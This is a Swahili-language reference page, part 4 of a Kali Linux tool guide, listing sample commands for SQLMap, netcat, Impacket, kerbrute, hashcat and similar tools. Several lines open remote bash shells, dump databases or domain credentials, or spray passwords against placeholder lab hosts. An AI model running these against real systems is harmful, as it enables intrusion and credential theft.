Kali Linux & Ethical Hacking • Sehemu ya 4 (Tools 71-105)

MWONGOZO WA TOOLS ZA KALI LINUX (SEHEMU YA 4)

Mwongozo kamili wenye amri 7 mbadala, jinsi ya kufunga salama, jinsi ya kutumia, na troubleshooting kwa kila zana zote 175 bila kupunguzwa.

Tahadhari Muhimu ya Kisheria na Maadili (Code of Ethics)

Mwongozo huu umeandaliwa kwa madhumuni ya kielimu, ukaguzi wa kiusalama (Auditing), na ulinzi wa mifumo (Defensive Security). Kutumia zana hizi dhidi ya mitandao, mifumo, au vifaa bila kibali rasmi cha maandishi ni kosa la jinai chini ya Sheria ya Makosa ya Mtandao (Cybercrimes Act). Fanya majaribio kwenye maabara yako binafsi pekee (Virtual Machines/Local Lab).

Mada Mpya (2026 Trends)

MPYA 🔥

AI Red Teaming, AD CS & WPA3.

MTK / SPD / Qualcomm

MULTI-CHIP ⚡

MTKClient, SPD, EDL 9008 & Heimdall.

iPhone / iOS Lab

IOS 

libimobiledevice, DFU & Checkm8.

Super.bin & EROFS

EDITOR 🛠️

Unpack, lpmake, EROFS & Bloatware.

Flash / SD Recovery

STORAGE 💾

Fufua Flash, MicroSD na RAW Disks.

SECURITY SUITE & GSM RADAR HUB

Find My Phone & SMS Divert Center

Mfumo mkuu wa kufuatilia simu iliyopotea (IMEI, GSMA & Live Satellite GPS), jenereta ya kodi za USSD Divert za mitandao yote ya simu, amri za Kali Linux, na ulinzi wa OTP dhidi ya udukuzi.

RADA YA KIJESHI YA KIUSALAMA & LIVE SENSOR TELEMETRY

Ramani ya Eneo la Kifaa Hiki & Kipimo cha Umbali

Rada hii inafuatilia kifaa hiki unachotumia sasa kwa wakati huu halisi (Hardware, GPS Halisi, Betri, IP, ISP, na Anwani Kamili). Kila unachogusa au kufanya kinasomwa papo hapo kwenye logi za rada.

BEARING: 000°
USAHIHI: --
Kifaa & Mfumo
Inatambua Kifaa...
Inatambua Mfumo...
IP & Mtandao (ISP)
Inachunguza IP...
Inachunguza Mtandao...
Eneo Halisi (GPS)
Inasoma GPS...
Inasubiri Ruhusa ya GPS
Skrini & GPU
Inapima Skrini...
Inapima GPU...
CPU & RAM
4 Cores
4+ GB
Kasi & Muunganisho
4G / Wi-Fi
RTT: -- | --
💡 Mwongozo wa Usahihi wa Eneo & Ufuatiliaji Halisi:

1. Kifaa hiki unachotumia sasa: Kinapata eneo halisi kupitia Satelaiti za GPS za simu/kompyuta yako unapobonyeza "Ruhusu / Allow GPS" au ukiandika mtaa wako kwenye kisanduku cha utafutaji hapa chini.
2. Simu Iliyoibiwa (IMEI): Hakuna tovuti duniani inayoweza kuona GPS ya simu ya mtu mwingine kwa kuandika namba ya IMEI pekee bila kuunganishwa na Google Find My Device (Android), Apple iCloud (iPhone), au mfumo wa Polisi/TCRA wa minara ya simu. Tumia vitufe vilivyopo hapa chini kufungua huduma rasmi.

TARGET: INASOMA GPS YA KIFAA CHAKO (HTML5 GEOLOCATION API)

📍 Inasubiri ruhusa na mawimbi ya GPS ya kifaa chako...

Inasubiri Ruhusa ya GPS ya Kivinjari...
KIJIJI / KITONGOJI / MTAA:🏡 Inasoma Kijiji...
KATA (WARD):🏘️ Inasoma Kata...
WILAYA (DISTRICT):🏛️ Inasoma Wilaya...
MKOA (REGION):📍 Inasoma Mkoa...
MJI / JIJI:🏙️ Inasoma Jiji...
Mfano: Kariakoo, Ilala au -6.812, 39.283
📍 Chagua Mkoa Wako Moja kwa Moja:
Miji Mikuu:
🔎 Ukubwa wa Eneo (Zoom):

INASOMA MAWIMBI YA GPS HALISI YA KIFAA...

Mfumo unasubiri ruhusa na kusoma setilaiti za GPS za kifaa hiki bila kutumia makadirio ya IP.

enableHighAccuracy: TRUEtimeout: 10000msmaximumAge: 0
👉 Tafadhali bonyeza Allow / Ruhusu kivinjari chako kikitaka ruhusa ya Location.
Mwelekeo (Google Maps)
LIVE SENSOR TELEMETRY STREAMINATEMBEA
Auto-Streaming Active

Google Find My & iCloud Direct Gateway

REAL-TIME PORTAL

Chagua mfumo wa simu yako na ubonyeze ili kuelekezwa moja kwa moja kuona kifaa chako kwenye ramani rasmi ya Google au Apple:

DIRECT CLOUD GATEWAY & IMEI TELEMETRY

Unganisha Kifaa Moja kwa Moja na Find My Device / iCloud

Jaza taarifa za simu yako hapa chini, chagua mfumo (Android au Apple), kisha bofya kitufe kikuu cha kijani kuunganishwa moja kwa moja na kuona simu yako ilipo kwenye ramani rasmi.

● DIRECT LINK ACTIVE: https://www.google.com/android/findENEO LA SENSOR: Inasoma Jiji..., TANZANIA
Uwazi wa eneo: Ramani huonyesha eneo la kifaa hiki baada ya ruhusa ya kivinjari, au eneo ulilotafuta. IMEI pekee haiwezi kutoa GPS; kupata simu nyingine hufanyika kupitia Google Find My Device, Apple Find My, Samsung SmartThings Find au mamlaka ya mtandao.

Mwongozo wa Hatua 4 za Dharura Simu Yako Ikipotea

1. Funga kwa MbaliIngia Google Find My Device au iCloud Find My, weka simu kwenye hali ya Lost Mode ili kufunga skrini na data mara moja.
2. Zuia Line (SIM Card)Piga simu kwa mtandao wako (Vodacom 100, Mix by Yas 100, Airtel 100, Halotel 100) kuzuia line yako isitumiwe kwenye miamala ya kifedha.
3. Badilisha NywilaBadilisha mara moja password ya barua pepe (Gmail / Apple ID) na programu zote za kibenki ili kulinda taarifa binafsi.
4. Ripoti Polisi & TCRAChukua ripoti iliyoandaliwa na mfumo huu uwasilishe kituo cha polisi (Loss Report) kwa ajili ya kuanza ufuatiliaji wa minara.
Chagua Sehemu ya Mwongozo:
Inaonyesha Zana 35 kati ya 35 (Sehemu ya 4)

Amri ya Kurudisha Mtandao Kawaida (Cleanup Command)

Ukimaliza mazoezi yoyote ya kadi ya Wi-Fi/Monitor mode, andika amri hii kurejesha Wi-Fi:

sudo systemctl restart NetworkManager

MWONGOZO WA KINA: TOOLS NYINGINE 35 (SEHEMU YA NNE)

Amri 7 & Troubleshooting (1 - 35)
1

SQLMAP (ADVANCED MODES)

SQL Injection Exploitation
Maelezo: Chombo maarufu zaidi duniani cha kugundua na kutumia udhaifu wa hifadhidata za SQL (SQL Injection).
Amri Mbadala (7)
(1):sqlmap -u "http://example.com/page.php?id=1" --dbs
(2):sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
(3):sqlmap -u "http://example.com/page.php?id=1" -T table_name --dump
(4):sqlmap -r request.txt --batch
(5):sqlmap -u "http://example.com/page.php?id=1" --os-shell
(6):sqlmap --help
(7):sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment
Jinsi ya Kufunga:

Bonyeza Ctrl + C

Troubleshooting:

Kama tovuti inatumia WAF kali, tumia amri za --tamper na --random-agent ili kuzuia IP yako kuzuiwa.

2

XSSTRIKE

Cross-Site Scripting (XSS)
Maelezo: Chombo chenye nguvu cha kugundua na kuthibitisha udhaifu wa Cross-Site Scripting (XSS) kwa kutumia akili bandia kidogo.
Amri Mbadala (7)
(1):python3 xsstrike.py -u "http://example.com/search.php?q=query"
(2):python3 xsstrike.py --url "http://example.com/page.php" --crawl
(3):python3 xsstrike.py -u "http://example.com/page.php?q=test" --blind
(4):python3 xsstrike.py --help
(5):python3 xsstrike.py -u "http://example.com/page.php?q=test" --fuzzer
(6):python3 xsstrike.py -u "http://example.com/page.php?q=test" --file payloads.txt
(7):python3 xsstrike.py --update
Jinsi ya Kufunga:

Ctrl + C

Troubleshooting:

Hakikisha maktaba zote za Python zinazohitajika (kama requests na bs4) zimesakinishwa.

3

DFF (DIGITAL FORENSIC FRAMEWORK)

Digital Forensics
Maelezo: Mfumo wa wazi wa kuchunguza na kuchambua ushahidi wa kidijitali na data zilizofutwa.
Amri Mbadala (7)
(1):dff
(2):sudo dff
(3):dff --help
(4):dff -g
(5):python3 -m dff
(6):dff --version
(7):sudo dff --cli
Jinsi ya Kufunga:

Funga dirisha la program au andika 'exit' kwenye CLI.

Troubleshooting:

Inahitaji rasilimali za kutosha za RAM wakati wa kuchanganua picha kubwa za diski.

4

GIMPGHOST / GDB (GNU DEBUGGER)

Binary & Memory Debugger
Maelezo: Chombo cha kuchunguza na kukagua mifumo inayofanya kazi au programu zinazoanguka (Debugging) kwenye Linux.
Amri Mbadala (7)
(1):gdb ./program
(2):gdb -q ./program
(3):gdb --help
(4):gdb -p [PID]
(5):gdb -c core_dump ./program
(6):gdb -ex "run" ./program
(7):gdb -q --args ./program arg1 arg2
Jinsi ya Kufunga:

Ndani ya gdb andika 'quit' kisha y

Troubleshooting:

Ili kupata maelezo kamili ya makosa, hakikisha programu imekusanywa na alama za debugging (-g).

5

STRACE

System Call Tracer
Maelezo: Inafuatilia na kuonyesha simu zote za mfumo (system calls) na ishara zinazotumiwa na programu ya Linux.
Amri Mbadala (7)
(1):strace ./program
(2):strace -c ./program
(3):strace -p [PID]
(4):strace -o output.txt ./program
(5):strace -e trace=open,read,write ./program
(6):strace -f ./program
(7):strace --help
Jinsi ya Kufunga:

Ctrl + C

Troubleshooting:

Inaweza kutoa maandishi mengi sana kwa mpigo; tumia bendera ya -o kuhifadhi kwenye faili.

6

LTRACE

Library Call Tracer
Maelezo: Inafuatilia maktaba za nje (library calls) zinazotumiwa na programu wakati inafanya kazi.
Amri Mbadala (7)
(1):ltrace ./program
(2):ltrace -c ./program
(3):ltrace -p [PID]
(4):ltrace -o ltrace_out.txt ./program
(5):ltrace -S ./program
(6):ltrace --help
(7):ltrace -e strcmp,printf ./program
Jinsi ya Kufunga:

Ctrl + C

Troubleshooting:

Inafanya kazi vizuri zaidi kwenye programu zilizokusanywa kwa mfumo wa ELF wa Linux.

7

NETCAT (NC) - THE SWISS ARMY KNIFE

Network Relay & Listener
Maelezo: Chombo kinachosoma na kuandika data kupitia mitandao ya TCP au UDP (Inatumika kufungua miunganisho na shells).
Amri Mbadala (7)
(1):nc -lvp 4444
(2):nc 192.168.1.50 4444
(3):nc -z -v 192.168.1.1 1-1000
(4):nc -lvp 4444 -e /bin/bash
(5):nc -u -lvp 53
(6):nc --help
(7):nc -w 3 192.168.1.1 80
Jinsi ya Kufunga:

Ctrl + C

Troubleshooting:

Kwenye matoleo mapya ya Kali Linux, bendera ya -e mara nyingi imefungwa kwa sababu za kiusalama; tumia ncat au bash nyingine badala yake.

8

NCAT (NMAP NETCAT)

Modern Netcat with SSL
Maelezo: Toleo lililoboreshwa na salama zaidi la Netcat lililotengenezwa na timu ya Nmap.
Amri Mbadala (7)
(1):ncat -lvp 4444
(2):ncat 192.168.1.50 4444
(3):ncat --ssl -lvp 4444
(4):ncat --help
(5):ncat -v -z 192.168.1.1 20-80
(6):ncat --allow 192.168.1.100 -lvp 4444
(7):ncat -e /bin/bash 192.168.1.50 4444
Jinsi ya Kufunga:

Ctrl + C

Troubleshooting:

Ncat ina sifa nzuri ya kuunga mkono usimbaji fiche wa SSL moja kwa moja.

9

SOCAT

Bidirectional Data Relay
Maelezo: Chombo chenye nguvu kubwa zaidi kuliko Netcat cha kuhamisha data kati ya njia mbili huru (Bidirectional data relay).
Amri Mbadala (7)
(1):socat TCP-LISTEN:4444,fork TCP:192.168.1.50:80
(2):socat FILE:input.txt,creat TCP:192.168.1.50:4444
(3):socat -h
(4):socat TCP-LISTEN:4444 EXEC:/bin/bash
(5):socat OPENSSL-LISTEN:4444,cert=cert.pem,verify=0 -
(6):socat -v TCP-LISTEN:4444,fork TCP:example.com:80
(7):socat UDP-LISTEN:53,fork UDP:8.8.8.8:53
Jinsi ya Kufunga:

Ctrl + C

Troubleshooting:

Sintaksia ya socat inaweza kuwa ngumu kidogo mwanzoni; hakikisha unaangalia mwongozo kwa kutumia -h.

10

SSH (PORT FORWARDING & TUNNELING)

Encrypted Remote Access & Tunneling
Maelezo: Inatumika kufanya miunganisho salama ya mbali na kufanya usafirishaji wa bandari (Port Tunneling).
Amri Mbadala (7)
(1):ssh user@192.168.1.1
(2):ssh -L 8080:127.0.0.1:80 user@remote_ip
(3):ssh -R 9090:127.0.0.1:8080 user@remote_ip
(4):ssh -D 1080 user@remote_ip
(5):ssh -i key.pem user@remote_ip
(6):ssh -v user@remote_ip
(7):ssh -N -f -L 3306:localhost:3306 user@remote_ip
Jinsi ya Kufunga:

Andika 'exit' kisha Enter

Troubleshooting:

Hakikisha ruhusa za faili la ufunguo (private key) ziko sahihi (chmod 600 key.pem).

11

SCP / RSYNC

Secure Remote File Transfer
Maelezo: Inahamisha faili kwa usalama kati ya kompyuta mbili kupitia itifaki ya SSH.
Amri Mbadala (7)
(1):scp local_file.txt user@192.168.1.50:/home/user/
(2):scp -r /home/user/folder user@192.168.1.50:/tmp/
(3):scp user@192.168.1.50:/var/log/syslog .
(4):rsync -avz /local/dir user@192.168.1.50:/remote/dir
(5):scp -P 2222 file.txt user@192.168.1.50:/tmp/
(6):rsync -P --progress file.iso user@192.168.1.50:/tmp/
(7):scp --help
Jinsi ya Kufunga:

Inajifunga yenyewe ikimaliza

Troubleshooting:

Hakikisha huduma ya SSH inafanya kazi kwenye kompyuta unayotuma au kuchukua faili.

12

FTP / TFTP (CLI CLIENTS)

Legacy File Transfer Clients
Maelezo: Inatumika kuunganisha na kuhamisha faili kwenye seva za FTP na TFTP za kizamani.
Amri Mbadala (7)
(1):ftp 192.168.1.50
(2):tftp 192.168.1.50
(3):ftp -h
(4):lftp user@192.168.1.50
(5):echo -e "get file.txt\nbye" | ftp 192.168.1.50
(6):tftp 192.168.1.50 -c get remote_file.bin
(7):ftp -v -n 192.168.1.50
Jinsi ya Kufunga:

Ndani ya ftp andika 'bye' au 'quit'

Troubleshooting:

FTP ya kawaida haisimbui data; kila kitu kinapita kwa maandishi wazi (plaintext).

13

SMBCLIENT

Windows/SMB Share Client
Maelezo: Inatumika kufikia na kuchunguza rasilimali zilizoshirikiwa kwenye mtandao kupitia itifaki ya Windows (SMB/CIFS shares).
Amri Mbadala (7)
(1):smbclient -L //192.168.1.50
(2):smbclient //192.168.1.50/share_name
(3):smbclient -U username //192.168.1.50/share
(4):smbclient --help
(5):smbclient -N //192.168.1.50/public
(6):smbclient -U "%" //192.168.1.50/share
(7):smbclient //192.168.1.50/share -c "ls; dir"
Jinsi ya Kufunga:

Ndani ya smbclient andika 'exit'

Troubleshooting:

Mifumo ya kisasa ya Windows mara nyingi huzuia toleo la zamani la SMBv1; hakikisha unatumia SMBv2 au SMBv3.

14

SMBMAP

SMB Enumeration & Permissions
Maelezo: Inachunguza na kuorodhesha kwa urahisi rasilimali za SMB, ruhusa (permissions), na faili zilizomo kwenye mtandao.
Amri Mbadala (7)
(1):smbmap -H 192.168.1.50
(2):smbmap -H 192.168.1.50 -u username -p password
(3):smbmap -H 192.168.1.50 -d WORKGROUP -u user -p pass --shares
(4):smbmap --help
(5):smbmap -H 192.168.1.50 -R share_name
(6):smbmap -H 192.168.1.50 --download "share_name/file.txt"
(7):smbmap -H 192.168.1.50 --upload "/tmp/local.txt" "share/remote.txt"
Jinsi ya Kufunga:

Inajifunga yenyewe

Troubleshooting:

Ni chombo chenye ufanisi mkubwa kuliko smbclient kwa ajili ya kufanya ukaguzi wa haraka wa mtandao.

15

ENUM4LINUX

Windows/Samba Enumeration
Maelezo: Chombo maalum cha kukusanya taarifa nyingi kutoka kwenye mifumo ya Windows na Samba (Users, Shares, Groups, OS).
Amri Mbadala (7)
(1):enum4linux 192.168.1.50
(2):enum4linux -a 192.168.1.50
(3):enum4linux -U 192.168.1.50
(4):enum4linux -S 192.168.1.50
(5):enum4linux --help
(6):enum4linux -P 192.168.1.50
(7):enum4linux -u admin -p password 192.168.1.50
Jinsi ya Kufunga:

Inajifunga yenyewe au Ctrl + C

Troubleshooting:

Inachukua muda kidogo kukamilisha uchunguzi wote; subiri hadi itakapotoa ripoti kamili.

16

SNMPWALK / SNMP-CHECK

SNMP Network Device Audit
Maelezo: Inakagua na kuchimbua taarifa za vifaa vya mtandao (Routers, Switches, Printers, Servers) kupitia itifaki ya SNMP.
Amri Mbadala (7)
(1):snmpwalk -v 2c -c public 192.168.1.1
(2):snmpwalk -v 1 -c public 192.168.1.1 1.3.6.1.2.1.1
(3):snmp-check 192.168.1.1
(4):snmpwalk --help
(5):snmpwalk -v 2c -c private 192.168.1.1
(6):snmp-check 192.168.1.1 -c public -p 161
(7):nmap -sU --script snmp-brute 192.168.1.1
Jinsi ya Kufunga:

Inajifunga yenyewe

Troubleshooting:

Vifaa vingi vinatumia neno la kawaida la public kama read-only community string kwa chaguomsingi.

17

ONCRPC / RPCRC TOOLS (RPCINFO)

Remote Procedure Call Enumeration
Maelezo: Inasoma na kuorodhesha huduma za Remote Procedure Call (RPC) zinazofanya kazi kwenye mfumo.
Amri Mbadala (7)
(1):rpcinfo -p 192.168.1.50
(2):rpcinfo -s 192.168.1.50
(3):rpcinfo --help
(4):rpcinfo -T tcp 192.168.1.50 nfs
(5):showmount -e 192.168.1.50
(6):nmap -sV -p 111 --script=rpcinfo 192.168.1.50
(7):rpcinfo -u 192.168.1.50 100000
Jinsi ya Kufunga:

Inajifunga yenyewe

Troubleshooting:

Port 111 (rpcbind) lazima iwe wazi ili amri hizi ziweze kuwasiliana na seva.

18

SHOWMOUNT

NFS Export Discovery
Maelezo: Inatafuta na kuonyesha saraka za mfumo zilizoshirikiwa kupitia Network File System (NFS).
Amri Mbadala (7)
(1):showmount -e 192.168.1.50
(2):showmount -a 192.168.1.50
(3):showmount -d 192.168.1.50
(4):showmount --help
(5):mount -t nfs 192.168.1.50:/share /mnt/nfs
(6):showmount -h
(7):nmap --script nfs-ls,nfs-statfs 192.168.1.50
Jinsi ya Kufunga:

Inajifunga yenyewe

Troubleshooting:

Kama huduma ya NFS haijasakinishwa au imefungwa kwenye firewall, amri hii haitaleta matokeo.

19

LDAPSEARCH

LDAP / Active Directory Search
Maelezo: Inafanya utafutaji na uchunguzi wa taarifa ndani ya saraka za Active Directory au OpenLDAP.
Amri Mbadala (7)
(1):ldapsearch -x -H ldap://192.168.1.50 -b "dc=example,dc=com"
(2):ldapsearch -x -h 192.168.1.50 -s base namingContexts
(3):ldapsearch --help
(4):ldapsearch -x -H ldap://192.168.1.50 -D "cn=admin,dc=example,dc=com" -w password -b "dc=example,dc=com"
(5):nmap -p 389 --script ldap-search 192.168.1.50
(6):ldapsearch -x -h 192.168.1.50 "(objectClass=person)"
(7):ldapsearch -x -H ldaps://192.168.1.50 -b "dc=example,dc=com"
Jinsi ya Kufunga:

Inajifunga yenyewe

Troubleshooting:

Bandari ya LDAP kwa kawaida ni 389 kwa zisizosimbwa na 636 kwa LDAPS (TLS).

20

IMPACKET TOOLS (SECRETSDUMP / SMBEXEC / WMIEXEC)

Active Directory Assessment Suite
Maelezo: Mkusanyiko mkubwa wa zana za Python kwa ajili ya mashambulizi na usimamizi wa miundombinu ya Windows/Active Directory.
Amri Mbadala (7)
(1):python3 secretsdump.py domain/user:password@192.168.1.50
(2):python3 wmiexec.py domain/user:password@192.168.1.50
(3):python3 smbexec.py domain/user:password@192.168.1.50
(4):python3 psexec.py domain/user:password@192.168.1.50
(5):python3 GetNPUsers.py domain/ -no-pass -usersfile users.txt
(6):python3 rpcdump.py 192.168.1.50
(7):python3 aattacks.py --help
Jinsi ya Kufunga:

Ctrl + C

Troubleshooting:

Impacket inahitaji Python na maktaba zake kusakinishwa kwa usahihi (pip install impacket).

21

BLOODHOUND-PYTHON / BLOODHOUND

AD Attack Path Analysis
Maelezo: Inakusanya mahusiano yote ya Active Directory ili kuchora ramani ya njia za kupata mamlaka ya juu (Domain Administrator).
Amri Mbadala (7)
(1):bloodhound-python -u username -p password -d domain.local -c All -ns 192.168.1.50
(2):bloodhound-python -u username --secure --collectors Group,User,Computer -d domain.local -dc dc.domain.local
(3):bloodhound
(4):bloodhound-python --help
(5):neo4j console
(6):bloodhound-python -u username -p password -d domain.local -c ACL,Trusts
(7):python3 bloodhound.py --help
Jinsi ya Kufunga:

Funga GUI au andika Ctrl + C kwenye terminal.

Troubleshooting:

BloodHound inahitaji hifadhidata ya Neo4j kufanya kazi vizuri kwenye mwonekano wa picha (GUI).

22

KERBRUTE

Kerberos Pre-Auth Enumeration
Maelezo: Inafanya uthibitishaji na upimaji wa majina ya watumiaji na maneno-siri kupitia itifaki ya Kerberos.
Amri Mbadala (7)
(1):kerbrute userenum -d domain.local --dc 192.168.1.50 users.txt
(2):kerbrute passwordspray -d domain.local --dc 192.168.1.50 users.txt Password123
(3):kerbrute bruteforce -d domain.local --dc 192.168.1.50 passwords.txt username
(4):kerbrute --help
(5):./kerbrute_linux_amd64 userenum -d example.com --dc 192.168.1.50 usernames.txt
(6):kerbrute bruteforce --dc 192.168.1.50 -d domain.local passwords.txt admin
(7):kerbrute version
Jinsi ya Kufunga:

Inajifunga yenyewe ikimaliza

Troubleshooting:

Kerbrute inafanya kazi kwa kasi kubwa kwa sababu haizalishi logi nyingi kwenye Active Directory ukilinganisha na zana za kawaida.

23

HASHCAT (ADVANCED MODES & RULES)

GPU Hash Cracker
Maelezo: Chombo chenye kasi zaidi duniani cha kuvunja hash kwa kutumia kadi ya michoro ya kompyuta (GPU Acceleration).
Amri Mbadala (7)
(1):hashcat -m 0 -a 0 hash.txt wordlist.txt
(2):hashcat -m 1000 -a 0 ntlm_hash.txt wordlist.txt
(3):hashcat -m 22000 -a 0 handshake.hc22000 wordlist.txt
(4):hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l
(5):hashcat --show hash.txt
(6):hashcat --help
(7):hashcat -m 1800 -a 0 sha512crypt_hash.txt wordlist.txt -r rules/best64.rule
Jinsi ya Kufunga:

Bonyeza herufi q kwenye kibodi au Ctrl + C

Troubleshooting:

Kama unaendesha kwenye Linux na unapata hitilafu ya OpenCL, hakikisha viendeshi (drivers) vya kadi yako ya picha vimesakinishwa vizuri.

24

JOHN THE RIPPER (ADVANCED)

Multi-Format Password Cracker
Maelezo: Chombo maarufu cha kuchunguza na kuvunja nenosiri kupitia muundo wa CPU na sheria mbalimbali.
Amri Mbadala (7)
(1):john hash.txt
(2):john --wordlist=wordlist.txt hash.txt
(3):john --show hash.txt
(4):john --format=NT hash.txt
(5):john --rules hash.txt
(6):john --help
(7):john --restore=1
Jinsi ya Kufunga:

Bonyeza kitufe chochote au Ctrl + C

Troubleshooting:

John hutambua aina ya hash yenyewe kwa urahisi, lakini unaweza kulazimisha kwa bendera ya --format kama itahitajika.

25

CUPP (COMMON USER PASSWORDS PROFILER)

Target-Specific Wordlist Generator
Maelezo: Inatengeneza orodha maalum ya maneno-siri (wordlist) kulingana na taarifa za mtu binafsi (jina, tarehe ya kuzaliwa, mke, kipenzi).
Amri Mbadala (7)
(1):python3 cupp.py -i
(2):python3 cupp.py -w target_info.txt
(3):python3 cupp.py -l
(4):python3 cupp.py -h
(5):python3 cupp.py -a
(6):python3 cupp.py -c filename.txt
(7):python3 cupp.py --help
Jinsi ya Kufunga:

Inajifunga yenyewe ikimaliza

Troubleshooting:

Ni nzuri sana wakati wa Social Engineering pale unapofahamu baadhi ya maelezo ya mlengwa.

26

CEWL (CUSTOM WORD LIST GENERATOR)

Web Scraping Wordlist Tool
Maelezo: Inakagua tovuti na kutengeneza orodha ya maneno-siri kutoka kwenye maneno yanayopatikana kwenye kurasa zake.
Amri Mbadala (7)
(1):cewl http://example.com -w wordlist.txt
(2):cewl http://example.com -d 3 -m 5 -w words.txt
(3):cewl --help
(4):cewl -e -d 2 http://example.com -w emails.txt
(5):cewl -a http://example.com -w words_with_meta.txt
(6):cewl -u "UserAgentString" http://example.com -w out.txt
(7):cewl --meta http://example.com
Jinsi ya Kufunga:

Inajifunga yenyewe

Troubleshooting:

Tovuti inatakiwa iwe wazi na iweze kufikiwa kupitia mtandao ili iweze kuchambuliwa.

27

RATS / Flawfinder

Source Code Security Auditing
Maelezo: Inakagua msimbo wa programu (Source Code Review) kutafuta udhaifu wa usalama kabla haijakamilika.
Amri Mbadala (7)
(1):flawfinder /path/to/source/code/
(2):rats -w 3 /path/to/code/
(3):flawfinder --csv /path/to/code/ > report.csv
(4):flawfinder --help
(5):rats --help
(6):flawfinder --minlevel=3 /path/to/code/
(7):flawfinder -S /path/to/code/
Jinsi ya Kufunga:

Inajifunga yenyewe ikimaliza

Troubleshooting:

Inafaa sana kwa wachambuzi wa msimbo wa C, C++, Python, na lugha nyingine za programu.

28

SEMGREP / SONARQUBE (CLI)

Static Application Security Testing (SAST)
Maelezo: Chombo cha kisasa cha kufanya ukaguzi wa kiotomatiki wa usalama kwenye msimbo wa programu (Static Application Security Testing).
Amri Mbadala (7)
(1):semgrep --config=auto
(2):semgrep --config p/security-audit
(3):semgrep --help
(4):semgrep --json --output=report.json
(5):semgrep --config=p/ci
(6):semgrep scan --config auto /path/to/project
(7):semgrep --version
Jinsi ya Kufunga:

Inajifunga yenyewe

Troubleshooting:

Semgrep ni ya kisasa sana na inaunga mkono lugha nyingi za programu kama JavaScript, Python, Go, na Java.

29

RETDEC

Decompiler & Binary Analysis
Maelezo: Chombo cha kurudisha msimbo uliokusanywa (Machine Code / Binary Decompiler) kurudi kwenye lugha inayosomeka kama C.
Amri Mbadala (7)
(1):retdec-decompiler.py binary_file
(2):retdec-decompiler.py --help
(3):retdec-decompiler.py -o output.c binary_file
(4):retdec-decompiler.py --cleanup binary_file
(5):retdec-decompiler.py --select-functions main,auth binary_file
(6):retdec-decompiler.py --backend-decompilation-timeout 300 binary_file
(7):retdec-decompiler.py --version
Jinsi ya Kufunga:

Inajifunga yenyewe

Troubleshooting:

Inasaidia sana kwenye masuala ya Reverse Engineering ya faili za binary za ELF au PE.

30

RADARE2 / R2

Disassembly & Reverse Engineering
Maelezo: Mfumo mkubwa na wenye nguvu wa kiwango cha juu wa kuchambua, kubadilisha, na kukagua faili za binary na programu (Reverse Engineering Framework).
Amri Mbadala (7)
(1):r2 ./binary
(2):r2 -A ./binary
(3):radare2 -d ./binary
(4):r2 -h
(5):r2 -w ./binary
(6):r2 -q -c "aaa; pdf @ main" ./binary
(7):r2pm -h
Jinsi ya Kufunga:

Ndani ya radare2 andika 'q' au 'quit'

Troubleshooting:

Radare2 ina amri nyingi sana; tumia amri ya ? ndani ya r2 kuona msaada wa kila hatua.

31

GHIDRA (CLI / HEADLESS MODE)

NSA Reverse Engineering Suite
Maelezo: Chombo kilichotengenezwa na NSA cha kufanya reverse engineering na kurejesha msimbo wa binary kwenye kiwango kikubwa.
Amri Mbadala (7)
(1):analyzeHeadless /tmp/project_dir my_project -import binary_file
(2):ghidraRun
(3):analyzeHeadless --help
(4):analyzeHeadless /tmp/proj proj -import file.exe -postScript MyScript.py
(5):./ghidraRun
(6):analyzeHeadless /tmp/proj proj -import file.elf -processor x86:LE:64:default
(7):java -jar ghidra.jar
Jinsi ya Kufunga:

Funga dirisha la GUI au Ctrl + C kwenye headless mode.

Troubleshooting:

Ghidra inahitaji Java JDK iliyowekwa vizuri kwenye mfumo wako ili iweze kuwaka bila makosa.

32

APKTOOL

Android APK Reverse Engineering
Maelezo: Inafungua, inasoma, na kusanya tena faili za maombi ya simu za Android (APK Reverse Engineering).
Amri Mbadala (7)
(1):apktool d app.apk
(2):apktool b decoded_folder
(3):apktool --help
(4):apktool d -f app.apk
(5):apktool b decoded_folder -o new_app.apk
(6):apktool if framework.apk
(7):apktool --version
Jinsi ya Kufunga:

Inajifunga yenyewe

Troubleshooting:

Baada ya kusanya tena APK, utahitaji kuweka saini (sign) kwenye faili jipya kabla ya kuliweka kwenye simu.

33

JADX / JADX-GUI

DEX to Java Decompiler
Maelezo: Inabadilisha faili za APK za Android kuwa msimbo wa Java unaosomeka kwa urahisi.
Amri Mbadala (7)
(1):jadx-gui
(2):jadx app.apk -d out_folder
(3):jadx --help
(4):jadx -e app.apk
(5):jadx -d src_out app.apk
(6):jadx --no-debug app.apk
(7):jadx --version
Jinsi ya Kufunga:

Funga dirisha la program au Ctrl + C

Troubleshooting:

Jadx-gui inatoa muonekano mzuri sana wa picha kwa ajili ya kuchunguza mantiki ya ndani ya programu za Android.

34

FRIDA / FRIDA-PS

Dynamic Instrumentation Framework
Maelezo: Chombo chenye nguvu cha kuingiza na kubadilisha tabia ya programu wakati zinafanya kazi kwenye simu au kompyuta (Dynamic Instrumentation).
Amri Mbadala (7)
(1):frida-ps -U
(2):frida -U -f com.example.app -l script.js
(3):frida-trace -U -i "java.*" com.example.app
(4):frida --help
(5):pip install frida-tools
(6):frida-ps -R
(7):frida --version
Jinsi ya Kufunga:

Ctrl + C

Troubleshooting:

Frida server inatakiwa iwe inafanya kazi ndani ya simu (kupitia adb) kwa usahihi ili kuunganishwa.

35

MOBSF (MOBILE SECURITY FRAMEWORK)

Mobile App Security Testing
Maelezo: Mfumo wa kiotomatiki wa kuchunguza usalama wa programu za Android na iOS (Static & Dynamic Analysis).
Amri Mbadala (7)
(1):mobsf
(2):python3 manage.py runserver 0.0.0.0:8000
(3):./run.sh
(4):docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf
(5):python3 manage.py --help
(6):mobsf --help
(7):docker pull opensecurity/mobile-security-framework-mobsf
Jinsi ya Kufunga:

Ctrl + C au funga kivinjari na kusimamisha seva ya Docker/Python.

Troubleshooting:

Kutumia kupitia Docker ndiyo njia rahisi na safi zaidi ya kuepusha changamoto za maktaba zinazokosekana kwenye mfumo wako.

WASHIRIKA NA MITANDAO YA MALIPO

Mitandao ya Simu & Mabenki Yanayokubalika

Tunapokea malipo rasmi na salama kupitia mitandao yote mikuu ya simu, mabenki ya Tanzania, QR Code na sarafu za kidijitali (USDT/Crypto).

mpesa logo
Mobile Money

Vodacom M-Pesa

Mtandao Salama wa Malipo ya Simu

M-PESAVerified Partner
yas
mixbyyas logo
Yas Mobile Money

Mix by Yas

Pochi ya Kidijitali ya Kisasa ya Yas

